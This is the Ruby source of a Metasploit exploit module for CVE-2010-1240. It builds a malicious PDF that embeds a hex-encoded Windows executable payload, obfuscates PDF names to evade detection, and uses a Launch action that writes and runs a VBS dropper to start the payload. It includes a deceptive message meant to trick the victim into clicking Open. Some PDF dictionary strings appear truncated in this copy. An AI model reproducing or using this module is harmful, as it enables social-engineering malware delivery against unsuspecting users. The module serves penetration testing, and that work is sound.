## # $Id: adobe_pdf_embedded_exe_nojs.rb 10126 2010-08-24 18:20:16Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # # Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb". # This version does not require JavaScript to be enabled and does not required the EXE to be # attached to the PDF. The EXE is embedded in the PDF in a non-standard method using HEX # encoding. # # Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF. # Thanks to all those that wrote the code for those modules, as I probably could not have # wrote this module without borrowing code from them. # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe PDF Escape EXE Social Engineering (No JavaScript)', 'Description' => %q{ This module embeds a Metasploit payload into an existing PDF file in a non-standard method. The resulting PDF can be sent to a target as part of a social engineering attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Conway ', ], 'Version' => '$Revision: 10126 $', 'References' => [ [ 'CVE', '2010-1240' ], [ 'OSVDB', '63667' ], [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ], [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ], [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ] ], 'DefaultTarget' => 0)) register_options( [ OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']), OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']), OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area', "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]), ], self.class) end def exploit # Create the pdf print_status("Making PDF") pdf = make_pdf() print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def pdf_exe(payload_exe) if !(payload_exe and payload_exe.length > 0) print_status("Using '#{datastore['PAYLOAD']}' as payload...") payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded) hex_payload = Rex::Text.to_hex(payload_exe) else print_status("Using '#{datastore['EXENAME']}' as payload...") hex_payload = Rex::Text.to_hex_dump(payload_exe,16) end return hex_payload end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf() file_name = datastore['FILENAME'] exe_name = datastore['EXENAME'] launch_msg = datastore['LAUNCH_MESSAGE'] xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol pdf = "%PDF-1.5" << eol payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded) hex_payload = Rex::Text.to_hex(payload_exe) pdf << hex_payload << eol pdf << ioDef(1) << nObfu("<>" << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<>") << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<>") << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<>") << endobj xref << pdf.length pdf << ioDef(5) << nObfu("< 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs" pdf << eol << eol << eol << "#{launch_msg})" pdf << ">>>>" << endobj xref << pdf.length xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end